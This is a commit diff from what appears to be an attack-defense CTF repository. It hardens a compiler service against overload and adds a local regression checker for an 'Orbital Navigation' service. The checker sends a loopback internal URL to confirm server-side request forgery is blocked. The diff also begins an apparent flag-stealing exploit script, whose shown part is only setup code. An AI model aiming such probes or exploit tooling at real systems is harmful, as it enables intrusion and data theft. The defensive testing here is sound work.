Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f205b802d5 |
No files matched your search
@@ -48,3 +48,8 @@ __pycache__/
|
||||
venv/
|
||||
.idea/
|
||||
.vscode/
|
||||
|
||||
# Local worktrees and build artifacts
|
||||
.worktrees/
|
||||
.ruff_cache/
|
||||
**/target/
|
||||
Binary file not shown.
@@ -7,6 +7,7 @@
|
||||
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
|
||||
- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
|
||||
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
|
||||
- L-06: одновременно работают не более двух компиляций; после исчерпания слотов допускается не более восьми ожидающих запросов и не более пятнадцати секунд ожидания, а лишние запросы получают `429`. Лимит выбран по наблюдаемой очереди: восемь работ при двух слотах и трёхсекундном пределе на compile/listing укладываются примерно в двенадцать секунд, тогда как checker ограничен тридцатью секундами. HTTP pool содержит 32-64 потока и ограниченную очередь 256, чтобы compiler flood не вытеснял health и обычные API-вызовы. Keep-alive и socket timeout уменьшены. `clang` и `llvm-objdump` запускаются с низким CPU priority. Compose ограничивает процесс двумя CPU, 1 GiB памяти и 256 PID и автоматически перезапускает контейнер.
|
||||
|
||||
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` прежнего образа; совместимость публичного вызова восстановлена в `143182a`, который входит в основу этого кандидата. Игровой том локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
|
||||
|
||||
|
||||
@@ -2,7 +2,11 @@ name: lighthouse
|
||||
|
||||
services:
|
||||
lighthouse:
|
||||
restart: unless-stopped
|
||||
build: .
|
||||
pids_limit: 256
|
||||
mem_limit: 1g
|
||||
cpus: 2.0
|
||||
ports:
|
||||
- "8085:8080"
|
||||
volumes:
|
||||
|
||||
@@ -23,12 +23,19 @@ class Slots {
|
||||
std::mutex lock_;
|
||||
std::condition_variable room_;
|
||||
int held_ = 0;
|
||||
int waiting_ = 0;
|
||||
int limit_;
|
||||
public:
|
||||
explicit Slots(int limit) : limit_(limit) {}
|
||||
void acquire() {
|
||||
std::unique_lock guard(lock_);
|
||||
room_.wait(guard, [&] { return held_ < limit_; });
|
||||
if (held_ >= limit_) {
|
||||
if (waiting_ >= 8) throw Busy();
|
||||
++waiting_;
|
||||
bool available = room_.wait_for(guard, std::chrono::seconds(15), [&] { return held_ < limit_; });
|
||||
--waiting_;
|
||||
if (!available) throw Busy();
|
||||
}
|
||||
++held_;
|
||||
}
|
||||
void release() {
|
||||
@@ -101,7 +108,7 @@ public:
|
||||
|
||||
bool cc() {
|
||||
int status = legacy::system({
|
||||
"/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
|
||||
"/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
|
||||
"--fsize=32768:32768", "--cpu=2:2", "--as=268435456:268435456",
|
||||
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
|
||||
"--clear-groups", "--no-new-privs", "--bounding-set", "-all",
|
||||
@@ -127,7 +134,7 @@ public:
|
||||
fs::copy_file(module_, artifact);
|
||||
result.path = artifact.string();
|
||||
int status = legacy::system({
|
||||
"/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
|
||||
"/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
|
||||
"--fsize=32768:32768", "--cpu=1:1", "--as=268435456:268435456",
|
||||
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
|
||||
"--clear-groups", "--no-new-privs", "--bounding-set", "-all",
|
||||
@@ -140,7 +147,7 @@ public:
|
||||
};
|
||||
|
||||
inline Artifact compile(const std::string& source) {
|
||||
static Slots slots(4);
|
||||
static Slots slots(2);
|
||||
Slot slot(slots);
|
||||
Build build(source);
|
||||
recipe::run(recipe::filter, build);
|
||||
|
||||
@@ -344,6 +344,11 @@ int main() {
|
||||
try {
|
||||
initialize();
|
||||
httplib::Server server;
|
||||
server.new_task_queue = [] { return new httplib::ThreadPool(32, 64, 256); };
|
||||
server.set_keep_alive_max_count(8);
|
||||
server.set_keep_alive_timeout(2);
|
||||
server.set_read_timeout(3, 0);
|
||||
server.set_write_timeout(3, 0);
|
||||
server.set_payload_max_length(32768);
|
||||
server.set_pre_routing_handler([](const httplib::Request& request, httplib::Response& response) {
|
||||
if (request.has_header("Range")) {
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
# Local Orbital Navigation checker
|
||||
|
||||
`checker.py` exercises the real HTTP interface with Python's standard library.
|
||||
It uses five distinct random **synthetic** values, never a game flag. Run it
|
||||
only against an isolated local container and a separate test volume. The
|
||||
private Skipper checker is unavailable, so this is a deployment regression
|
||||
test, not a replica or proof of a scored `UP` round. Public Skipper logs show
|
||||
CHECK/PUT/GET status and duration but do not expose their internal requests.
|
||||
|
||||
## Run against a disposable container
|
||||
|
||||
From the repository root, choose a free loopback port (shown here as `18086`):
|
||||
|
||||
```sh
|
||||
TEST_ID="orbital-check-$(date +%s)-$$"
|
||||
STATE_FILE="/tmp/${TEST_ID}.json"
|
||||
docker build -t "${TEST_ID}:local" orbital_navigation
|
||||
docker volume create "${TEST_ID}-data"
|
||||
docker run -d --name "$TEST_ID" -p 127.0.0.1:18086:8080 \
|
||||
-v "${TEST_ID}-data:/data" "${TEST_ID}:local"
|
||||
|
||||
python3 orbital_navigation/tests/checker.py \
|
||||
--url http://127.0.0.1:18086 --state "$STATE_FILE" put
|
||||
docker restart "$TEST_ID"
|
||||
python3 orbital_navigation/tests/checker.py \
|
||||
--url http://127.0.0.1:18086 --state "$STATE_FILE" get
|
||||
python3 orbital_navigation/tests/checker.py \
|
||||
--url http://127.0.0.1:18086 --state "$STATE_FILE" check
|
||||
```
|
||||
|
||||
`put` refuses to overwrite an existing state file. Its atomic write creates
|
||||
the file with mode `0600`; it contains the two synthetic user tokens and the
|
||||
five markers, so keep it outside Git and do not share its contents. `get`
|
||||
reads the same records after a process restart with the same `/data` volume.
|
||||
`check` verifies cross-user denials, legitimate public geometry delegation,
|
||||
the observed `register` → `create_flight` → `grant_geometry` CHECK flow,
|
||||
package upload/approval/report, approval reset after replacement, and small
|
||||
malformed requests. It also checks a valid source alias, rejects loopback
|
||||
bulletin URLs, and re-reads the summary at the end. All commands print only
|
||||
pass/fail summaries.
|
||||
|
||||
To cover the normal `import_bulletin` → `import_result` path, start a tiny
|
||||
HTTP mock in the disposable container's network at an address that is **not**
|
||||
loopback from the service container. The service intentionally rejects
|
||||
`localhost`, `127.0.0.1`, and their aliases. Then add `--import-url` and
|
||||
`--import-contains` before `put` and `check`. `put` stores the imported content
|
||||
in its private state file; `get` confirms it still exists after restart, while
|
||||
`check` verifies a fresh import and cross-user denial. Choose a free mock port:
|
||||
Docker can already be forwarding a port even when another host process appears
|
||||
to listen on it. Keep this mock local; the service sends its importer header
|
||||
to the specified server.
|
||||
|
||||
To remove **only this disposable test instance** after finishing:
|
||||
|
||||
```sh
|
||||
docker rm -f "$TEST_ID"
|
||||
docker volume rm "${TEST_ID}-data"
|
||||
rm -f "$STATE_FILE"
|
||||
```
|
||||
|
||||
`all` runs `put`, `get`, and `check` in one process, but the separate commands
|
||||
above are needed to test old data across a restart. This checker does not
|
||||
cover the private Skipper PUT/GET choice of flag slot, the normal bulletin
|
||||
import unless a local mock URL is supplied, load limits, or the actual game
|
||||
route. Confirm live status from Skipper after any deployment.
|
||||
@@ -0,0 +1,441 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Synthetic, local-only functional checker for Orbital Navigation.
|
||||
|
||||
This does not reproduce the private Skipper checker. Keep its state file outside
|
||||
Git; it contains test bearer tokens and synthetic marker values.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import secrets
|
||||
import stat
|
||||
import sys
|
||||
import tarfile
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.request import Request, urlopen
|
||||
|
||||
|
||||
class CheckFailure(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class Client:
|
||||
def __init__(self, base_url: str, timeout: float):
|
||||
self.base_url = base_url.rstrip("/")
|
||||
self.timeout = timeout
|
||||
|
||||
def request(
|
||||
self,
|
||||
path: str,
|
||||
*,
|
||||
method: str = "GET",
|
||||
body: bytes | None = None,
|
||||
headers: dict[str, str] | None = None,
|
||||
) -> tuple[int, bytes]:
|
||||
request = Request(
|
||||
self.base_url + path,
|
||||
data=body,
|
||||
headers=headers or {},
|
||||
method=method,
|
||||
)
|
||||
try:
|
||||
with urlopen(request, timeout=self.timeout) as response:
|
||||
return response.status, response.read(2_100_001)
|
||||
except HTTPError as error:
|
||||
return error.code, error.read(2_100_001)
|
||||
except (URLError, TimeoutError, OSError) as error:
|
||||
raise CheckFailure(f"HTTP {method} {path}: connection or timeout failure") from error
|
||||
|
||||
def wait_ready(self) -> None:
|
||||
deadline = time.monotonic() + 6
|
||||
while True:
|
||||
try:
|
||||
status, _ = self.request("/does-not-exist")
|
||||
if status == 404:
|
||||
return
|
||||
raise CheckFailure("service readiness probe returned an unexpected status")
|
||||
except CheckFailure as error:
|
||||
if "connection or timeout failure" not in str(error) or time.monotonic() >= deadline:
|
||||
raise
|
||||
time.sleep(0.2)
|
||||
|
||||
def rpc_response(self, action: str, token: str | None = None, **fields: object) -> tuple[int, dict]:
|
||||
payload: dict[str, object] = {"action": action, **fields}
|
||||
if token is not None:
|
||||
payload["token"] = token
|
||||
status, raw = self.request(
|
||||
"/rpc",
|
||||
method="POST",
|
||||
body=json.dumps(payload, separators=(",", ":")).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
try:
|
||||
envelope = json.loads(raw)
|
||||
except (ValueError, UnicodeDecodeError) as error:
|
||||
raise CheckFailure(f"RPC {action}: response is not JSON") from error
|
||||
if not isinstance(envelope, dict) or not isinstance(envelope.get("ok"), bool):
|
||||
raise CheckFailure(f"RPC {action}: invalid response envelope")
|
||||
return status, envelope
|
||||
|
||||
def rpc(self, action: str, token: str | None = None, **fields: object) -> dict:
|
||||
status, envelope = self.rpc_response(action, token, **fields)
|
||||
result = envelope.get("result")
|
||||
if status != 200 or not envelope["ok"] or not isinstance(result, dict):
|
||||
raise CheckFailure(f"RPC {action}: expected successful result, got HTTP {status}")
|
||||
return result
|
||||
|
||||
def rejected(self, action: str, token: str | None, reason: str, **fields: object) -> None:
|
||||
status, envelope = self.rpc_response(action, token, **fields)
|
||||
if status != 400 or envelope["ok"] or reason not in str(envelope.get("error", "")):
|
||||
raise CheckFailure(f"RPC {action}: expected rejection ({reason})")
|
||||
|
||||
def upload(self, package_id: str, token: str | None, content: bytes) -> int:
|
||||
headers = {"Content-Type": "application/octet-stream"}
|
||||
if token is not None:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
status, _ = self.request(
|
||||
f"/packages/{package_id}/content", method="PUT", body=content, headers=headers
|
||||
)
|
||||
return status
|
||||
|
||||
|
||||
def marker(kind: str) -> str:
|
||||
# Intentionally not a game-flag-shaped value.
|
||||
return f"LOCAL_CHECK_{kind}_{secrets.token_hex(16)}"
|
||||
|
||||
|
||||
def value(result: dict, key: str, action: str) -> str:
|
||||
item = result.get(key)
|
||||
if not isinstance(item, str) or not item:
|
||||
raise CheckFailure(f"RPC {action}: missing {key}")
|
||||
return item
|
||||
|
||||
|
||||
def require(condition: bool, description: str) -> None:
|
||||
if not condition:
|
||||
raise CheckFailure(description)
|
||||
|
||||
|
||||
def save_state(path: Path, data: dict) -> None:
|
||||
if path.exists() or path.is_symlink():
|
||||
raise CheckFailure("state file already exists; choose a fresh path")
|
||||
path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
descriptor, temporary = tempfile.mkstemp(prefix=f".{path.name}.", dir=path.parent)
|
||||
try:
|
||||
os.fchmod(descriptor, 0o600)
|
||||
with os.fdopen(descriptor, "w", encoding="utf-8") as stream:
|
||||
json.dump(data, stream, sort_keys=True)
|
||||
stream.write("\n")
|
||||
stream.flush()
|
||||
os.fsync(stream.fileno())
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if os.path.exists(temporary):
|
||||
os.unlink(temporary)
|
||||
|
||||
|
||||
def load_state(path: Path) -> dict:
|
||||
try:
|
||||
mode = path.stat().st_mode
|
||||
if not stat.S_ISREG(mode) or mode & 0o077:
|
||||
raise CheckFailure("state file must be a private regular file (mode 0600)")
|
||||
data = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError) as error:
|
||||
raise CheckFailure("cannot load state file") from error
|
||||
if not isinstance(data, dict) or data.get("schema") != 1:
|
||||
raise CheckFailure("unsupported state file")
|
||||
for key in (
|
||||
"owner_token", "other_token", "ship_id", "profile_id", "job_id",
|
||||
"flight_id", "summary_id", "package_id", "message", "manifest",
|
||||
"summary", "navigation", "package_report",
|
||||
):
|
||||
if not isinstance(data.get(key), str) or not data[key]:
|
||||
raise CheckFailure("incomplete state file")
|
||||
if ("import_id" in data) != ("import_content" in data):
|
||||
raise CheckFailure("incomplete imported bulletin state")
|
||||
for key in ("import_id", "import_content"):
|
||||
if key in data and (not isinstance(data[key], str) or not data[key]):
|
||||
raise CheckFailure("incomplete imported bulletin state")
|
||||
return data
|
||||
|
||||
|
||||
def put(
|
||||
client: Client,
|
||||
path: Path,
|
||||
import_url: str | None = None,
|
||||
import_contains: str | None = None,
|
||||
) -> dict:
|
||||
if path.exists() or path.is_symlink():
|
||||
raise CheckFailure("state file already exists; choose a fresh path")
|
||||
|
||||
owner = value(client.rpc("register"), "token", "register")
|
||||
other = value(client.rpc("register"), "token", "register")
|
||||
ship = value(client.rpc("create_ship", owner), "ship_id", "create_ship")
|
||||
message = marker("MESSAGE")
|
||||
manifest = marker("MANIFEST")
|
||||
summary = marker("SUMMARY")
|
||||
navigation = marker("NAVIGATION")
|
||||
package_report = marker("PACKAGE_REPORT")
|
||||
|
||||
client.rpc("post_message", owner, ship_id=ship, message=message)
|
||||
profile = value(
|
||||
client.rpc("create_profile", owner, ship_id=ship), "profile_id", "create_profile"
|
||||
)
|
||||
job = value(
|
||||
client.rpc("create_export", owner, profile_id=profile), "job_id", "create_export"
|
||||
)
|
||||
exported = client.rpc("run_export", owner, job_id=job)
|
||||
require(message in exported.get("messages", []), "run_export omitted ship message")
|
||||
|
||||
flight = value(
|
||||
client.rpc(
|
||||
"create_flight",
|
||||
owner,
|
||||
geometry="local-check-" + secrets.token_hex(8),
|
||||
map_version="1",
|
||||
options="default",
|
||||
manifest=manifest,
|
||||
navigation=navigation,
|
||||
),
|
||||
"flight_id",
|
||||
"create_flight",
|
||||
)
|
||||
summary_id = value(
|
||||
client.rpc("create_summary", owner, content=summary),
|
||||
"summary_id",
|
||||
"create_summary",
|
||||
)
|
||||
package_id = value(client.rpc("create_package", owner), "package_id", "create_package")
|
||||
require(
|
||||
client.upload(package_id, owner, regular_tar(package_report)) == 200,
|
||||
"package PUT failed",
|
||||
)
|
||||
client.rpc("approve_package", owner, package_id=package_id)
|
||||
state = {
|
||||
"schema": 1,
|
||||
"owner_token": owner,
|
||||
"other_token": other,
|
||||
"ship_id": ship,
|
||||
"profile_id": profile,
|
||||
"job_id": job,
|
||||
"flight_id": flight,
|
||||
"summary_id": summary_id,
|
||||
"package_id": package_id,
|
||||
"message": message,
|
||||
"manifest": manifest,
|
||||
"summary": summary,
|
||||
"navigation": navigation,
|
||||
"package_report": package_report,
|
||||
}
|
||||
if import_url is not None:
|
||||
imported = client.rpc("import_bulletin", owner, url=import_url)
|
||||
content = value(imported, "content", "import_bulletin")
|
||||
require(import_contains is not None and import_contains in content, "bulletin content mismatch")
|
||||
state["import_id"] = value(imported, "import_id", "import_bulletin")
|
||||
state["import_content"] = content
|
||||
save_state(path, state)
|
||||
get(client, state)
|
||||
return state
|
||||
|
||||
|
||||
def get(client: Client, state: dict) -> None:
|
||||
owner = state["owner_token"]
|
||||
source = client.rpc("read_source_messages", owner, source_id=state["ship_id"])
|
||||
require(state["message"] in source.get("messages", []), "old ship message missing")
|
||||
|
||||
exported = client.rpc("export_result", owner, job_id=state["job_id"])
|
||||
require(exported.get("state") == "DONE", "old export job is not DONE")
|
||||
require(state["message"] in exported.get("messages", []), "old export message missing")
|
||||
|
||||
report = client.rpc("report", owner, flight_id=state["flight_id"])
|
||||
require(report.get("manifest") == state["manifest"], "old flight manifest missing")
|
||||
manifest = client.rpc("read_manifest", owner, flight_id=state["flight_id"])
|
||||
require(manifest.get("manifest") == state["manifest"], "old direct manifest read failed")
|
||||
|
||||
summary = client.rpc("read_summary", owner, summary_id=state["summary_id"])
|
||||
require(summary.get("content") == state["summary"], "old summary missing")
|
||||
|
||||
navigation = client.rpc("read_navigation", owner, flight_id=state["flight_id"])
|
||||
require(navigation.get("navigation") == state["navigation"], "old navigation missing")
|
||||
|
||||
package = client.rpc(
|
||||
"generate_report", owner, package_id=state["package_id"], attachment="report.txt"
|
||||
)
|
||||
require(package.get("report") == state["package_report"], "old package report missing")
|
||||
if "import_id" in state:
|
||||
imported = client.rpc("import_result", owner, import_id=state["import_id"])
|
||||
require(imported.get("content") == state["import_content"], "old imported bulletin missing")
|
||||
|
||||
|
||||
def regular_tar(content: str) -> bytes:
|
||||
raw = content.encode()
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w") as archive:
|
||||
item = tarfile.TarInfo("report.txt")
|
||||
item.size = len(raw)
|
||||
item.mode = 0o600
|
||||
archive.addfile(item, io.BytesIO(raw))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def check(client: Client, state: dict, import_url: str | None = None, import_contains: str | None = None) -> None:
|
||||
owner, other = state["owner_token"], state["other_token"]
|
||||
ship, flight = state["ship_id"], state["flight_id"]
|
||||
|
||||
# The observed Skipper CHECK sequence uses these three actions in order.
|
||||
probe_owner = value(client.rpc("register"), "token", "register")
|
||||
probe_flight = value(
|
||||
client.rpc(
|
||||
"create_flight", probe_owner, geometry="public-check",
|
||||
map_version="1", options="default", manifest="synthetic-public-check",
|
||||
navigation="synthetic-public-check",
|
||||
),
|
||||
"flight_id", "create_flight",
|
||||
)
|
||||
value(
|
||||
client.rpc("grant_geometry", probe_owner, flight_id=probe_flight),
|
||||
"grant_id", "grant_geometry",
|
||||
)
|
||||
|
||||
client.rejected("read_source_messages", other, "forbidden", source_id=ship)
|
||||
client.rejected("export_result", other, "forbidden", job_id=state["job_id"])
|
||||
client.rejected("report", other, "forbidden", flight_id=flight)
|
||||
client.rejected("read_summary", other, "forbidden", summary_id=state["summary_id"])
|
||||
client.rejected("read_navigation", other, "forbidden", flight_id=flight)
|
||||
client.rejected(
|
||||
"generate_report", other, "forbidden",
|
||||
package_id=state["package_id"], attachment="report.txt",
|
||||
)
|
||||
if "import_id" in state:
|
||||
client.rejected("import_result", other, "forbidden", import_id=state["import_id"])
|
||||
|
||||
# Former alias/profile chains must not connect another user to this ship.
|
||||
client.rejected("bind_source", other, "forbidden", source_id=ship.upper())
|
||||
own_alias = f" {ship.upper()} "
|
||||
status, envelope = client.rpc_response("bind_source", owner, source_id=own_alias)
|
||||
if status != 200 or not envelope["ok"]:
|
||||
require(
|
||||
status == 400 and envelope.get("error") == "source exists",
|
||||
"valid own source alias could not be created or reused",
|
||||
)
|
||||
aliased = client.rpc("read_source_messages", owner, source_id=own_alias)
|
||||
require(state["message"] in aliased.get("messages", []), "valid own source alias broke")
|
||||
own_ship = value(client.rpc("create_ship", other), "ship_id", "create_ship")
|
||||
own_profile = value(
|
||||
client.rpc("create_profile", other, ship_id=own_ship), "profile_id", "create_profile"
|
||||
)
|
||||
client.rejected(
|
||||
"edit_profile", other, "forbidden", profile_id=own_profile, ship_id=ship
|
||||
)
|
||||
|
||||
public = client.rpc("flight_public", other, flight_id=flight)
|
||||
require(isinstance(public.get("geometry"), str), "public flight view broke")
|
||||
parent = value(client.rpc("grant_geometry", owner, flight_id=flight), "grant_id", "grant_geometry")
|
||||
expires = int(time.time()) + 300
|
||||
client.rejected(
|
||||
"delegate", other, "invalid delegation", parent_id=parent,
|
||||
rights=["manifest.read"], expires=expires,
|
||||
)
|
||||
subset = value(
|
||||
client.rpc("delegate", other, parent_id=parent, rights=["geometry.read"], expires=expires),
|
||||
"grant_id", "delegate",
|
||||
)
|
||||
client.rejected("read_manifest", other, "forbidden", flight_id=flight, grant_id=subset)
|
||||
|
||||
client.rejected(
|
||||
"import_bulletin", other, "internal source forbidden",
|
||||
url="http://127.0.0.1:8080/internal/summaries/local-check",
|
||||
)
|
||||
if import_url is not None:
|
||||
imported = client.rpc("import_bulletin", other, url=import_url)
|
||||
import_id = value(imported, "import_id", "import_bulletin")
|
||||
content = value(imported, "content", "import_bulletin")
|
||||
require(import_contains is not None and import_contains in content, "bulletin content mismatch")
|
||||
reread = client.rpc("import_result", other, import_id=import_id)
|
||||
require(reread.get("content") == content, "stored import result mismatch")
|
||||
client.rejected("import_result", owner, "forbidden", import_id=import_id)
|
||||
|
||||
package = value(client.rpc("create_package", other), "package_id", "create_package")
|
||||
first, second = marker("REPORT1"), marker("REPORT2")
|
||||
require(client.upload(package, other, regular_tar(first)) == 200, "package PUT failed")
|
||||
require(client.upload(package, None, regular_tar(first)) == 400, "anonymous package PUT accepted")
|
||||
require(client.upload(package, owner, regular_tar(first)) == 400, "cross-user package PUT accepted")
|
||||
client.rpc("approve_package", other, package_id=package)
|
||||
result = client.rpc("generate_report", other, package_id=package, attachment="report.txt")
|
||||
require(result.get("report") == first, "approved report content mismatch")
|
||||
client.rejected(
|
||||
"generate_report", owner, "forbidden", package_id=package, attachment="report.txt"
|
||||
)
|
||||
require(client.upload(package, other, regular_tar(second)) == 200, "replacement PUT failed")
|
||||
client.rejected(
|
||||
"generate_report", other, "package not approved",
|
||||
package_id=package, attachment="report.txt",
|
||||
)
|
||||
client.rpc("approve_package", other, package_id=package)
|
||||
result = client.rpc("generate_report", other, package_id=package, attachment="report.txt")
|
||||
require(result.get("report") == second, "replacement report content mismatch")
|
||||
|
||||
invalid_package = value(
|
||||
client.rpc("create_package", other), "package_id", "create_package"
|
||||
)
|
||||
require(client.upload(invalid_package, other, b"not a tar") == 200, "invalid TAR upload failed")
|
||||
client.rejected("approve_package", other, "empty package", package_id=invalid_package)
|
||||
|
||||
status, raw = client.request(
|
||||
"/rpc", method="POST", body=b"{", headers={"Content-Type": "application/json"}
|
||||
)
|
||||
require(status == 400 and b'"ok":false' in raw, "malformed JSON was not rejected")
|
||||
client.rejected("read_summary", None, "missing token", summary_id=state["summary_id"])
|
||||
client.rejected("unknown_check_action", owner, "unknown action")
|
||||
status, _ = client.request("/does-not-exist")
|
||||
require(status == 404, "unknown route did not return 404")
|
||||
final_summary = client.rpc("read_summary", owner, summary_id=state["summary_id"])
|
||||
require(final_summary.get("content") == state["summary"], "final summary read failed")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--url", default="http://127.0.0.1:18086", help="isolated local service URL")
|
||||
parser.add_argument("--state", required=True, type=Path, help="private state file outside Git")
|
||||
parser.add_argument("--timeout", default=3.0, type=float, help="per-request timeout in seconds")
|
||||
parser.add_argument("--import-url", help="optional non-loopback local bulletin mock URL")
|
||||
parser.add_argument("--import-contains", help="expected substring from that mock bulletin")
|
||||
parser.add_argument("command", choices=("put", "get", "check", "all"))
|
||||
args = parser.parse_args()
|
||||
if args.timeout <= 0:
|
||||
parser.error("--timeout must be positive")
|
||||
if not args.url.startswith(("http://", "https://")):
|
||||
parser.error("--url must be HTTP(S)")
|
||||
if bool(args.import_url) != bool(args.import_contains):
|
||||
parser.error("--import-url and --import-contains must be supplied together")
|
||||
if args.import_url and not args.import_url.startswith("http://"):
|
||||
parser.error("--import-url must be an HTTP URL")
|
||||
client = Client(args.url, args.timeout)
|
||||
try:
|
||||
client.wait_ready()
|
||||
if args.command in ("put", "all"):
|
||||
state = put(client, args.state, args.import_url, args.import_contains)
|
||||
print("PASS put: five synthetic values stored and read")
|
||||
else:
|
||||
state = load_state(args.state)
|
||||
if args.command in ("get", "all"):
|
||||
get(client, state)
|
||||
print("PASS get: stored values, export, and package survived")
|
||||
if args.command in ("check", "all"):
|
||||
check(client, state, args.import_url, args.import_contains)
|
||||
print("PASS check: ownership, delegation, package, malformed requests")
|
||||
return 0
|
||||
except CheckFailure as error:
|
||||
print(f"FAIL: {error}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Executable
+677
@@ -0,0 +1,677 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import signal
|
||||
import stat
|
||||
import sys
|
||||
import tarfile
|
||||
import tempfile
|
||||
import time
|
||||
from contextlib import contextmanager
|
||||
from http.client import HTTPException
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8086
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
TOTAL_RUNTIME = 8.0
|
||||
MAX_RESPONSE = 2 * 1024 * 1024
|
||||
MAX_STATE_RESPONSE = 32 * 1024 * 1024
|
||||
MAX_HINT_LENGTH = 8192
|
||||
MAX_NAVIGATION_READS = 16
|
||||
STATE_MARKER = "orbital-legacy-state"
|
||||
FLAG_PATTERN = re.compile(rb"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||
FLIGHT_PATTERN = re.compile(r"\bflight-[0-9a-f]{32}\b", re.IGNORECASE)
|
||||
SEEN_CACHE_VERSION = 1
|
||||
SEEN_WARMUP_PASSES = 0
|
||||
CONTEXT_PATTERNS = {
|
||||
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
|
||||
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
|
||||
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
|
||||
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
|
||||
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
|
||||
}
|
||||
STALE_MARKERS = (
|
||||
"invalid token",
|
||||
"unknown ship",
|
||||
"unknown profile",
|
||||
"unknown flight",
|
||||
"unknown package",
|
||||
)
|
||||
|
||||
|
||||
class ExploitError(Exception):
|
||||
def __init__(self, action: str, detail: str = ""):
|
||||
super().__init__(f"{action}: request failed")
|
||||
self.action = action
|
||||
self.detail = detail
|
||||
|
||||
|
||||
class HardDeadlineExceeded(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def deadline_alarm(_signum, _frame):
|
||||
raise HardDeadlineExceeded("run deadline exceeded")
|
||||
|
||||
|
||||
@contextmanager
|
||||
def hard_timeout(seconds: float):
|
||||
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
|
||||
yield
|
||||
return
|
||||
previous = signal.signal(signal.SIGALRM, deadline_alarm)
|
||||
signal.setitimer(signal.ITIMER_REAL, seconds)
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous)
|
||||
|
||||
|
||||
def parse_target(raw_target: str) -> tuple[str, str]:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
address, separator, encoded_hint = raw.partition("#")
|
||||
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
|
||||
if not address or len(hint) > MAX_HINT_LENGTH:
|
||||
raise ValueError("invalid target or hint")
|
||||
explicit_scheme = "://" in address
|
||||
if not explicit_scheme:
|
||||
authority = (
|
||||
f"[{address}]"
|
||||
if address.count(":") > 1 and not address.startswith("[")
|
||||
else address
|
||||
)
|
||||
address = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(address)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port
|
||||
if port is None:
|
||||
port = (
|
||||
443
|
||||
if explicit_scheme and parsed.scheme == "https"
|
||||
else 80 if explicit_scheme else SERVICE_PORT
|
||||
)
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||
|
||||
|
||||
def read_bounded(response, limit: int, deadline: float) -> bytes:
|
||||
chunks = []
|
||||
total = 0
|
||||
while total <= limit:
|
||||
